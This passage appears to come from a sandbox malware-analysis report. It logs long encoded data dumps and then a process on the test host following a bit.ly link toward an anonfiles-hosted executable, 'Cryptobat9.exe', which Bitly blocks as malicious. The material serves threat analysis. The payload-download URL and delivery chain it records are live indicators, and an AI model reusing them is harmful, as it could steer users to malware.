6JA1NzL6G/zW0ULWjG/mMak/xVSAT9KFjeHvUQzHOnA6LAgFLFnZimWqFoxe3AThhSQif7d4zBMEFAE8EVcUiPQuMThva2U6qq9c8VzutZiFxJJnQ+1/EIc0nNoAozr
2022-01-06 20:04:23 UTC	320	IN	Data Raw: 00 52 00 74 00 49 00 2b 00 5a 00 78 00 6d 00 48 00 72 00 38 00 58 00 55 00 36 00 62 00 45 00 62 00 44 00 6c 00 2f 00 59 00 49 00 50 00 2b 00 46 00 41 00 2b 00 35 00 44 00 6d 00 44 00 57 00 50 00 72 00 76 00 5a 00 36 00 63 00 56 00 48 00 55 00 69 00 6a 00 6f 00 75 00 4e 00 31 00 62 00 52 00 67 00 69 00 48 00 79 00 32 00 46 00 2f 00 74 00 50 00 6b 00 62 00 43 00 52 00 71 00 46 00 47 00 33 00 44 00 30 00 4e 00 72 00 77 00 49 00 45 00 7a 00 6a 00 33 00 32 00 7a 00 75 00 52 00 63 00 58 00 2b 00 69 00 57 00 6c 00 52 00 39 00 6c 00 46 00 53 00 33 00 51 00 75 00 6d 00 42 00 63 00 59 00 4b 00 51 00 58 00 50 00 59 00 7a 00 46 00 6e 00 61 00 32 00 65 00 36 00 71 00 5a 00 34 00 76 00 7a 00 54 00 65 00 67 00 4e 00 52 00 70 00 73 00 36 00 59 00 63 00 64 00 71 00 45 00 Data Ascii: RtI+ZxmHr8XU6bEbDl/YIP+FA+5DmDWPrvZ6cVHUijouN1bRgiHy2F/tPkbCRqFG3D0NrwIEzj32zuRcX+iWlR9lFS3QumBcYKQXPYzFna2e6qZ4vzTegNRps6YcdqE
2022-01-06 20:04:23 UTC	336	IN	Data Raw: 00 67 00 66 00 75 00 4c 00 71 00 4a 00 49 00 68 00 5a 00 2b 00 6e 00 46 00 53 00 71 00 70 00 53 00 36 00 47 00 57 00 4d 00 69 00 6f 00 77 00 30 00 6d 00 39 00 58 00 6a 00 4b 00 4a 00 51 00 71 00 61 00 34 00 47 00 4a 00 46 00 75 00 4c 00 34 00 74 00 64 00 7a 00 51 00 50 00 43 00 46 00 47 00 61 00 78 00 6a 00 55 00 6e 00 2b 00 61 00 65 00 49 00 4f 00 38 00 36 00 66 00 4b 00 39 00 70 00 52 00 5a 00 67 00 56 00 6b 00 6d 00 32 00 45 00 71 00 73 00 68 00 34 00 59 00 4d 00 4a 00 74 00 7a 00 6c 00 50 00 34 00 75 00 73 00 54 00 69 00 57 00 65 00 38 00 75 00 54 00 65 00 71 00 77 00 4d 00 72 00 77 00 58 00 34 00 5a 00 5a 00 44 00 4f 00 36 00 78 00 2f 00 69 00 52 00 7a 00 48 00 50 00 7a 00 50 00 32 00 39 00 34 00 71 00 67 00 2f 00 5a 00 68 00 6b 00 62 00 76 00 71 00 Data Ascii: gfuLqJIhZ+nFSqpS6GWMiow0m9XjKJQqa4GJFuL4tdzQPCFGaxjUn+aeIO86fK9pRZgVkm2Eqsh4YMJtzlP4usTiWe8uTeqwMrwX4ZZDO6x/iRzHPzP294qg/Zhkbvq
2022-01-06 20:04:23 UTC	352	IN	Data Raw: 00 64 00 79 00 6a 00 79 00 55 00 64 00 6c 00 4f 00 41 00 4c 00 4a 00 64 00 79 00 34 00 74 00 42 00 34 00 51 00 75 00 34 00 4b 00 61 00 50 00 34 00 75 00 45 00 59 00 6e 00 33 00 4b 00 34 00 63 00 62 00 2b 00 4d 00 44 00 7a 00 62 00 39 00 55 00 66 00 4b 00 35 00 7a 00 33 00 5a 00 6a 00 79 00 2f 00 4c 00 31 00 37 00 4c 00 4f 00 6e 00 6a 00 65 00 4c 00 6f 00 6d 00 49 00 54 00 69 00 63 00 69 00 6a 00 39 00 43 00 56 00 31 00 6d 00 44 00 61 00 33 00 6c 00 6a 00 31 00 52 00 58 00 52 00 59 00 4e 00 41 00 54 00 76 00 70 00 42 00 6d 00 63 00 62 00 6a 00 4a 00 35 00 42 00 44 00 42 00 72 00 30 00 35 00 6f 00 4d 00 45 00 2f 00 71 00 5a 00 41 00 48 00 70 00 6b 00 65 00 2b 00 46 00 77 00 36 00 64 00 74 00 6e 00 73 00 36 00 66 00 37 00 79 00 68 00 2b 00 67 00 55 00 70 00 Data Ascii: dyjyUdlOALJdy4tB4Qu4KaP4uEYn3K4cb+MDzb9UfK5z3Zjy/L17LOnjeLomITicij9CV1mDa3lj1RXRYNATvpBmcbjJ5BDBr05oME/qZAHpke+Fw6dtns6f7yh+gUp
2022-01-06 20:04:23 UTC	368	IN	Data Raw: 00 36 00 31 00 59 00 69 00 71 00 2f 00 63 00 66 00 51 00 4a 00 67 00 30 00 79 00 6c 00 77 00 70 00 67 00 63 00 45 00 50 00 2b 00 59 00 30 00 53 00 44 00 6e 00 42 00 33 00 30 00 43 00 53 00 65 00 34 00 4e 00 72 00 45 00 4f 00 77 00 56 00 30 00 6b 00 4a 00 70 00 4c 00 73 00 63 00 7a 00 35 00 42 00 69 00 79 00 5a 00 6b 00 75 00 69 00 32 00 6e 00 41 00 65 00 34 00 38 00 53 00 46 00 75 00 48 00 49 00 71 00 76 00 6c 00 50 00 73 00 54 00 34 00 30 00 38 00 76 00 74 00 48 00 4b 00 54 00 47 00 47 00 49 00 37 00 4d 00 30 00 38 00 69 00 39 00 47 00 7a 00 6b 00 56 00 37 00 73 00 44 00 69 00 2b 00 67 00 62 00 41 00 43 00 69 00 76 00 4a 00 53 00 6a 00 56 00 57 00 6f 00 6e 00 79 00 64 00 74 00 62 00 43 00 4f 00 65 00 6d 00 61 00 48 00 75 00 6c 00 75 00 2b 00 37 00 75 00 Data Ascii: 61Yiq/cfQJg0ylwpgcEP+Y0SDnB30CSe4NrEOwV0kJpLscz5BiyZkui2nAe48SFuHIqvlPsT408vtHKTGGI7M08i9GzkV7sDi+gbACivJSjVWonydtbCOemaHulu+7u
2022-01-06 20:04:23 UTC	384	IN	Data Raw: 00 41 00 70 00 65 00 4d 00 4c 00 7a 00 38 00 59 00 66 00 71 00 71 00 35 00 56 00 57 00 35 00 34 00 33 00 6b 00 72 00 51 00 49 00 4a 00 76 00 78 00 71 00 44 00 52 00 41 00 58 00 73 00 69 00 42 00 30 00 4e 00 51 00 68 00 58 00 65 00 43 00 45 00 32 00 47 00 63 00 43 00 45 00 55 00 6e 00 32 00 62 00 74 00 67 00 68 00 77 00 36 00 47 00 6e 00 31 00 77 00 62 00 35 00 77 00 67 00 6f 00 6f 00 49 00 4b 00 78 00 4c 00 51 00 64 00 4d 00 42 00 31 00 4e 00 45 00 67 00 31 00 75 00 31 00 6c 00 6d 00 4c 00 6d 00 31 00 63 00 79 00 45 00 37 00 6c 00 55 00 67 00 6f 00 52 00 4f 00 47 00 39 00 30 00 49 00 78 00 66 00 75 00 6a 00 4c 00 57 00 62 00 34 00 70 00 74 00 72 00 71 00 57 00 30 00 4b 00 74 00 44 00 44 00 2b 00 32 00 48 00 33 00 46 00 4f 00 33 00 55 00 6b 00 72 00 64 00 Data Ascii: ApeMLz8Yfqq5VW543krQIJvxqDRAXsiB0NQhXeCE2GcCEUn2btghw6Gn1wb5wgooIKxLQdMB1NEg1u1lmLm1cyE7lUgoROG90IxfujLWb4ptrqW0KtDD+2H3FO3Ukrd
2022-01-06 20:04:23 UTC	400	IN	Data Raw: 00 33 00 39 00 41 00 37 00 66 00 41 00 4e 00 6e 00 66 00 62 00 55 00 6a 00 47 00 52 00 79 00 76 00 38 00 6d 00 74 00 78 00 66 00 64 00 62 00 6d 00 44 00 50 00 56 00 50 00 7a 00 6d 00 7a 00 78 00 31 00 34 00 78 00 4b 00 58 00 78 00 66 00 72 00 70 00 31 00 4a 00 6d 00 38 00 6f 00 6e 00 43 00 4b 00 6f 00 37 00 54 00 4a 00 78 00 4f 00 65 00 58 00 70 00 75 00 6e 00 39 00 46 00 68 00 2f 00 71 00 6f 00 4e 00 57 00 5a 00 71 00 6c 00 69 00 73 00 4e 00 44 00 31 00 52 00 6f 00 52 00 4a 00 41 00 35 00 4c 00 2f 00 51 00 63 00 6f 00 59 00 73 00 31 00 62 00 69 00 57 00 35 00 66 00 70 00 6d 00 4a 00 44 00 52 00 43 00 45 00 76 00 59 00 38 00 50 00 62 00 55 00 34 00 75 00 45 00 38 00 74 00 56 00 47 00 36 00 52 00 61 00 39 00 32 00 78 00 66 00 6b 00 58 00 6e 00 66 00 37 00 Data Ascii: 39A7fANnfbUjGRyv8mtxfdbmDPVPzmzx14xKXxfrp1Jm8onCKo7TJxOeXpun9Fh/qoNWZqlisND1RoRJA5L/QcoYs1biW5fpmJDRCEvY8PbU4uE8tVG6Ra92xfkXnf7
2022-01-06 20:04:23 UTC	416	IN	Data Raw: 00 49 00 39 00 5a 00 58 00 43 00 42 00 39 00 64 00 49 00 6f 00 33 00 4c 00 4e 00 36 00 46 00 35 00 38 00 4c 00 79 00 79 00 76 00 35 00 36 00 54 00 55 00 77 00 73 00 42 00 77 00 54 00 56 00 69 00 74 00 42 00 4f 00 77 00 6e 00 39 00 4e 00 5a 00 55 00 59 00 74 00 4c 00 71 00 51 00 66 00 73 00 56 00 76 00 66 00 61 00 35 00 6a 00 4e 00 34 00 6f 00 66 00 41 00 6b 00 38 00 45 00 5a 00 67 00 50 00 47 00 39 00 70 00 66 00 63 00 34 00 75 00 44 00 7a 00 2b 00 6a 00 7a 00 69 00 53 00 4c 00 2b 00 39 00 59 00 58 00 74 00 44 00 39 00 6f 00 6e 00 39 00 2f 00 53 00 2b 00 32 00 2b 00 73 00 35 00 43 00 59 00 33 00 57 00 66 00 49 00 64 00 58 00 53 00 33 00 77 00 36 00 6a 00 30 00 78 00 35 00 75 00 32 00 69 00 32 00 44 00 35 00 2f 00 64 00 79 00 69 00 46 00 65 00 65 00 70 00 Data Ascii: I9ZXCB9dIo3LN6F58Lyyv56TUwsBwTVitBOwn9NZUYtLqQfsVvfa5jN4ofAk8EZgPG9pfc4uDz+jziSL+9YXtD9on9/S+2+s5CY3WfIdXS3w6j0x5u2i2D5/dyiFeep
2022-01-06 20:04:23 UTC	432	IN	Data Raw: 00 39 00 62 00 31 00 6b 00 70 00 43 00 51 00 44 00 43 00 44 00 30 00 57 00 59 00 2b 00 50 00 35 00 6f 00 35 00 68 00 69 00 77 00 48 00 56 00 73 00 4e 00 67 00 4c 00 37 00 6e 00 32 00 73 00 7a 00 5a 00 35 00 66 00 6e 00 65 00 7a 00 64 00 78 00 76 00 30 00 77 00 33 00 51 00 67 00 6f 00 57 00 54 00 59 00 41 00 46 00 55 00 62 00 67 00 49 00 52 00 57 00 59 00 6e 00 45 00 41 00 6c 00 4e 00 2b 00 6b 00 50 00 46 00 4f 00 6b 00 35 00 73 00 42 00 35 00 31 00 69 00 46 00 70 00 44 00 4a 00 6c 00 2f 00 76 00 6b 00 39 00 76 00 73 00 4c 00 5a 00 34 00 69 00 7a 00 52 00 49 00 67 00 64 00 32 00 50 00 39 00 78 00 2b 00 36 00 2b 00 73 00 42 00 6c 00 66 00 6e 00 67 00 73 00 4e 00 47 00 55 00 30 00 54 00 57 00 56 00 6d 00 64 00 62 00 78 00 4a 00 75 00 54 00 52 00 67 00 61 00 Data Ascii: 9b1kpCQDCD0WY+P5o5hiwHVsNgL7n2szZ5fnezdxv0w3QgoWTYAFUbgIRWYnEAlN+kPFOk5sB51iFpDJl/vk9vsLZ4izRIgd2P9x+6+sBlfngsNGU0TWVmdbxJuTRga
2022-01-06 20:04:23 UTC	448	IN	Data Raw: 00 49 00 46 00 34 00 64 00 52 00 34 00 79 00 63 00 62 00 71 00 35 00 4d 00 57 00 66 00 37 00 43 00 64 00 4c 00 43 00 38 00 77 00 47 00 50 00 53 00 57 00 66 00 4c 00 78 00 6a 00 59 00 32 00 6c 00 38 00 42 00 64 00 77 00 7a 00 63 00 66 00 43 00 4a 00 48 00 46 00 55 00 67 00 45 00 48 00 6d 00 52 00 6b 00 6f 00 6b 00 73 00 2f 00 78 00 67 00 45 00 6d 00 54 00 54 00 55 00 30 00 54 00 76 00 46 00 45 00 4e 00 65 00 69 00 57 00 73 00 4a 00 6c 00 6d 00 36 00 2f 00 43 00 46 00 4e 00 42 00 55 00 2b 00 4d 00 53 00 51 00 6a 00 73 00 32 00 74 00 74 00 52 00 38 00 36 00 4a 00 47 00 67 00 37 00 54 00 4b 00 4c 00 4c 00 66 00 47 00 42 00 34 00 78 00 4a 00 49 00 59 00 6b 00 48 00 69 00 6f 00 6a 00 4d 00 59 00 43 00 4d 00 36 00 6c 00 6f 00 4f 00 33 00 4f 00 35 00 58 00 65 00 Data Ascii: IF4dR4ycbq5MWf7CdLC8wGPSWfLxjY2l8BdwzcfCJHFUgEHmRkoks/xgEmTTU0TvFENeiWsJlm6/CFNBU+MSQjs2ttR86JGg7TKLLfGB4xJIYkHiojMYCM6loO3O5Xe
2022-01-06 20:04:23 UTC	464	IN	Data Raw: 00 39 00 43 00 57 00 66 00 65 00 47 00 33 00 44 00 2b 00 39 00 77 00 70 00 41 00 43 00 70 00 67 00 59 00 38 00 47 00 46 00 52 00 59 00 71 00 67 00 2f 00 44 00 48 00 30 00 6b 00 64 00 6f 00 67 00 79 00 6b 00 58 00 57 00 57 00 33 00 4f 00 5a 00 34 00 79 00 53 00 4f 00 74 00 6c 00 32 00 59 00 58 00 77 00 4f 00 35 00 6c 00 37 00 75 00 74 00 4f 00 6a 00 41 00 79 00 39 00 51 00 74 00 44 00 78 00 49 00 61 00 70 00 6d 00 65 00 41 00 6e 00 55 00 45 00 33 00 72 00 30 00 61 00 39 00 48 00 35 00 77 00 78 00 55 00 6a 00 50 00 56 00 68 00 67 00 41 00 4c 00 44 00 48 00 66 00 75 00 53 00 70 00 64 00 68 00 79 00 78 00 56 00 50 00 66 00 6a 00 38 00 4d 00 37 00 38 00 4f 00 44 00 66 00 6e 00 56 00 54 00 69 00 78 00 38 00 61 00 4e 00 66 00 63 00 43 00 4f 00 71 00 46 00 64 00 Data Ascii: 9CWfeG3D+9wpACpgY8GFRYqg/DH0kdogykXWW3OZ4ySOtl2YXwO5l7utOjAy9QtDxIapmeAnUE3r0a9H5wxUjPVhgALDHfuSpdhyxVPfj8M78ODfnVTix8aNfcCOqFd
2022-01-06 20:04:23 UTC	480	IN	Data Raw: 00 79 00 62 00 74 00 4b 00 69 00 43 00 4c 00 7a 00 31 00 4a 00 48 00 61 00 71 00 2f 00 74 00 74 00 78 00 79 00 43 00 4e 00 55 00 6e 00 6d 00 6d 00 6b 00 5a 00 32 00 49 00 4a 00 51 00 49 00 6c 00 74 00 6d 00 4f 00 6b 00 34 00 53 00 71 00 5a 00 32 00 62 00 7a 00 4b 00 58 00 38 00 31 00 51 00 51 00 4f 00 7a 00 36 00 6b 00 56 00 31 00 54 00 64 00 55 00 54 00 30 00 4f 00 2b 00 62 00 32 00 41 00 2f 00 34 00 32 00 6e 00 56 00 78 00 78 00 78 00 41 00 38 00 52 00 34 00 2b 00 50 00 56 00 34 00 4d 00 76 00 72 00 56 00 71 00 68 00 6d 00 34 00 49 00 36 00 79 00 7a 00 6e 00 74 00 37 00 35 00 2f 00 66 00 76 00 4d 00 6d 00 6d 00 34 00 77 00 66 00 30 00 4d 00 4b 00 72 00 67 00 54 00 56 00 65 00 56 00 62 00 4d 00 6e 00 4e 00 36 00 74 00 51 00 69 00 46 00 74 00 4f 00 45 00 Data Ascii: ybtKiCLz1JHaq/ttxyCNUnmmkZ2IJQIltmOk4SqZ2bzKX81QQOz6kV1TdUT0O+b2A/42nVxxxA8R4+PV4MvrVqhm4I6yznt75/fvMmm4wf0MKrgTVeVbMnN6tQiFtOE
2022-01-06 20:04:23 UTC	496	IN	Data Raw: 00 59 00 42 00 72 00 7a 00 2b 00 35 00 39 00 6a 00 6b 00 48 00 31 00 4d 00 72 00 39 00 38 00 73 00 61 00 7a 00 72 00 33 00 50 00 4d 00 56 00 57 00 4b 00 44 00 70 00 4b 00 56 00 78 00 7a 00 38 00 42 00 43 00 61 00 34 00 6d 00 70 00 74 00 4a 00 50 00 4d 00 2f 00 2f 00 57 00 37 00 69 00 43 00 59 00 69 00 36 00 38 00 6b 00 72 00 4b 00 61 00 58 00 47 00 46 00 68 00 35 00 62 00 33 00 31 00 30 00 54 00 76 00 52 00 73 00 54 00 41 00 52 00 4a 00 36 00 76 00 6a 00 47 00 38 00 48 00 4a 00 63 00 75 00 43 00 70 00 64 00 57 00 76 00 43 00 5a 00 4e 00 30 00 6f 00 63 00 4b 00 6b 00 5a 00 64 00 54 00 2f 00 46 00 39 00 76 00 78 00 63 00 34 00 32 00 2f 00 4c 00 72 00 52 00 4c 00 77 00 76 00 51 00 57 00 44 00 55 00 34 00 57 00 6c 00 7a 00 32 00 2f 00 34 00 4d 00 76 00 39 00 Data Ascii: YBrz+59jkH1Mr98sazr3PMVWKDpKVxz8BCa4mptJPM//W7iCYi68krKaXGFh5b310TvRsTARJ6vjG8HJcuCpdWvCZN0ocKkZdT/F9vxc42/LrRLwvQWDU4Wlz2/4Mv9
2022-01-06 20:04:23 UTC	512	IN	Data Raw: 00 61 00 48 00 63 00 43 00 67 00 47 00 72 00 72 00 47 00 73 00 36 00 48 00 55 00 66 00 55 00 56 00 4e 00 76 00 77 00 79 00 30 00 50 00 33 00 74 00 49 00 33 00 52 00 44 00 37 00 30 00 34 00 68 00 2f 00 6c 00 33 00 47 00 57 00 57 00 42 00 37 00 6a 00 65 00 42 00 38 00 65 00 58 00 32 00 78 00 54 00 70 00 5a 00 42 00 63 00 59 00 34 00 36 00 72 00 6d 00 53 00 2f 00 72 00 51 00 63 00 70 00 45 00 6f 00 32 00 71 00 68 00 62 00 32 00 53 00 69 00 43 00 2b 00 30 00 59 00 42 00 47 00 4a 00 7a 00 42 00 50 00 57 00 70 00 65 00 4d 00 76 00 37 00 6d 00 56 00 77 00 62 00 50 00 54 00 67 00 48 00 48 00 65 00 76 00 79 00 6a 00 59 00 77 00 77 00 70 00 58 00 6f 00 4f 00 65 00 32 00 7a 00 5a 00 64 00 64 00 69 00 62 00 53 00 38 00 39 00 64 00 62 00 6f 00 5a 00 41 00 38 00 32 00 Data Ascii: aHcCgGrrGs6HUfUVNvwy0P3tI3RD704h/l3GWWB7jeB8eX2xTpZBcY46rmS/rQcpEo2qhb2SiC+0YBGJzBPWpeMv7mVwbPTgHHevyjYwwpXoOe2zZddibS89dboZA82
2022-01-06 20:04:23 UTC	528	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49862	67.199.248.10	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-06 20:04:59 UTC	528	OUT	GET /3eHgQQR HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: bit.ly
2022-01-06 20:04:59 UTC	528	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 06 Jan 2022 20:04:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 226 Cache-Control: private, max-age=90 Content-Security-Policy: referrer always; Location: https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe Referrer-Policy: unsafe-url Via: 1.1 google Alt-Svc: clear Connection: close
2022-01-06 20:04:59 UTC	528	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 42 69 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 69 74 6c 79 2e 63 6f 6d 2f 61 2f 62 6c 6f 63 6b 65 64 3f 68 61 73 68 3d 33 65 48 67 51 51 52 26 61 6d 70 3b 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 63 64 6e 2d 31 33 31 2e 61 6e 6f 6e 66 69 6c 65 73 2e 63 6f 6d 25 32 46 50 30 6d 35 77 34 6a 32 78 63 25 32 46 63 61 63 33 65 62 39 38 2d 31 36 34 30 38 35 33 39 38 34 25 32 46 25 34 30 43 72 79 70 74 6f 62 61 74 39 2e 65 78 65 22 3e 6d 6f 76 65 64 20 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Bitly</title></head><body><a href="https://bitly.com/a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe">moved here</a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49863	67.199.248.14	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-06 20:04:59 UTC	528	OUT	GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: bitly.com
2022-01-06 20:04:59 UTC	529	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 06 Jan 2022 20:04:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5879 Set-Cookie: anon_u=cHN1X19iY2Y4ZTMxYS0xODU2LTRkNDUtOGYzNC0yY2RjYTRiOTFlMjU=\|1641499499\|b014486d89d8d1af9776adc181a9c538b4738a6d; Domain=bitly.com; expires=Tue, 05 Jul 2022 20:04:59 GMT; httponly; Path=/; secure Etag: "c19624a6e02662e870f645f063e54797e509758d" Pragma: no-cache Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-Frame-Options: DENY P3p: CP="CAO PSA OUR" Strict-Transport-Security: max-age=31536000 Via: 1.1 google Alt-Svc: clear Connection: close
2022-01-06 20:04:59 UTC	529	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 57 61 72 6e 69 6e 67 21 20 7c 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 61 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 6c 69 6e 6b 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html><head><title>Warning! \| There might be a problem with the requested link</title><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name=
2022-01-06 20:04:59 UTC	530	IN	Data Raw: 20 22 50 72 6f 78 69 6d 61 20 4e 6f 76 61 22 3b 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 38 30 30 3b 0a 73 72 63 3a 20 75 72 6c 28 27 2f 73 2f 76 34 36 38 2f 67 72 61 70 68 69 63 73 2f 50 72 6f 78 69 6d 61 4e 6f 76 61 2d 45 78 74 72 61 62 6f 6c 64 2e 6f 74 66 27 29 20 66 6f 72 6d 61 74 28 22 6f 70 65 6e 74 79 70 65 22 29 3b 0a 7d 0a 62 6f 64 79 2c 0a 68 74 6d 6c 20 7b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 50 72 6f 78 69 6d 61 20 4e 6f 76 61 22 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 31 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 Data Ascii: "Proxima Nova";font-weight: 800;src: url('/s/v468/graphics/ProximaNova-Extrabold.otf') format("opentype");}body,html {font-family: "Proxima Nova", Arial, sans-serif;-webkit-font-smoothing: antialiased;font-size: 10px;color: #1d1f21;background-c
2022-01-06 20:04:59 UTC	531	IN	Data Raw: 64 69 6e 67 3a 20 37 25 20 35 25 20 31 34 25 20 35 25 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 72 65 6d 3b 0a 7d 0a 2e 68 65 61 64 6c 69 6e 65 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 2e 68 65 61 64 6c 69 6e 65 20 7b 0a 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 77 61 72 6e 69 6e 67 2d 69 6d 67 20 7b 0a 77 69 64 74 68 3a 20 35 30 25 3b 0a 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 20 32 72 65 6d 3b 0a 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 35 30 70 78 29 20 7b 0a 2e 77 61 72 6e 69 6e 67 2d 69 6d 67 20 7b 0a 77 69 64 74 68 Data Ascii: ding: 7% 5% 14% 5%;}.header {margin-bottom: 2rem;}.headline-container {flex-direction: column;justify-content: center;}.headline {width: 100%;}.warning-img {width: 50%;margin: 0 auto 2rem;}}@media (max-width: 750px) {.warning-img {width
2022-01-06 20:04:59 UTC	532	IN	Data Raw: 20 6d 61 6c 77 61 72 65 20 28 73 6f 66 74 77 61 72 65 20 64 65 73 69 67 6e 65 64 20 74 6f 20 68 61 72 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 29 2c 20 61 74 74 65 6d 70 74 20 74 6f 20 63 6f 6c 6c 65 63 74 20 79 6f 75 72 20 70 65 72 73 6f 6e 61 6c 0a 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 66 6f 72 20 6e 65 66 61 72 69 6f 75 73 20 70 75 72 70 6f 73 65 73 2c 20 6f 72 20 6f 74 68 65 72 77 69 73 65 20 63 6f 6e 74 61 69 6e 20 68 61 72 6d 66 75 6c 20 61 6e 64 2f 6f 72 20 69 6c 6c 65 67 61 6c 20 63 6f 6e 74 65 6e 74 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 54 68 65 20 6c 69 6e 6b 20 6d 61 79 20 62 65 20 61 74 74 65 6d 70 74 69 6e 67 20 74 6f Data Ascii: malware (software designed to harm your computer), attempt to collect your personalinformation for nefarious purposes, or otherwise contain harmful and/or illegal content.</li><li>The link may be attempting to
2022-01-06 20:04:59 UTC	533	IN	Data Raw: 20 68 69 64 65 20 74 68 65 20 66 69 6e 61 6c 20 64 65 73 74 69 6e 61 74 69 6f 6e 2e 3c 2f 6c 69 3e 0a 3c 6c 69 3e 54 68 65 20 6c 69 6e 6b 20 6d 61 79 20 6c 65 61 64 20 74 6f 20 61 20 66 6f 72 67 65 72 79 20 6f 66 20 61 6e 6f 74 68 65 72 20 77 65 62 73 69 74 65 20 6f 72 20 6d 61 79 20 69 6e 66 72 69 6e 67 65 20 74 68 65 20 72 69 67 68 74 73 20 6f 66 20 6f 74 68 65 72 73 2e 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 6c 69 6e 6b 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 42 69 74 6c 79 20 76 69 61 20 3c 73 70 61 6e 3e 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 0a 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 Data Ascii: hide the final destination.</li><li>The link may lead to a forgery of another website or may infringe the rights of others.</li></ul><p>If you believe this link has been blocked in error, please contact Bitly via <span><a target="_blank"rel="noopene
